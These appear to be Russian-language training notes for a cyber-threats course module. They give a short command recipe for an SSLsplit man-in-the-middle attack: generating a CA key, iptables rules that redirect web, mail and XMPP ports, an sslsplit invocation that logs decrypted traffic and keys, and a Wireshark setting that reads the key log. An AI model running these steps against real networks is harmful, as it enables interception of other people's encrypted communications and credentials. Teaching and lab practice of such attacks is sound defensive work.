---
# System prepended metadata

title: SSL Split Attacks
tags: [1 модуль, Cyber Infrastructure Threats]

---

# SSL Split Attacks

Создать SSL ключи для подмены
```
> mkdir ssl
> cd ssl/
> openssl genrsa -out ca.key 4096
```

Настроить маршрутизацию в Kali

```
> iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
> iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080
```

Создать директории

```
> mkdir /tmp/sslsplit/
> mkdir logdir
```

Выполнить команду

```
sslsplit \
  -D \
  -l connections.log \
  -j /tmp/sslsplit/ \
  -M ssl_key_logfile \
  -S logdir/ \
  -k ca.key \
  -c ca.crt \
   ssl 0.0.0.0 8443 \
   tcp 0.0.0.0 8080
```

Добавить SSL сертификат в доверенные
> Wireshark Preferences > Protocols > SSL Log file


###### tags: `Cyber Infrastructure Threats`, `1 модуль`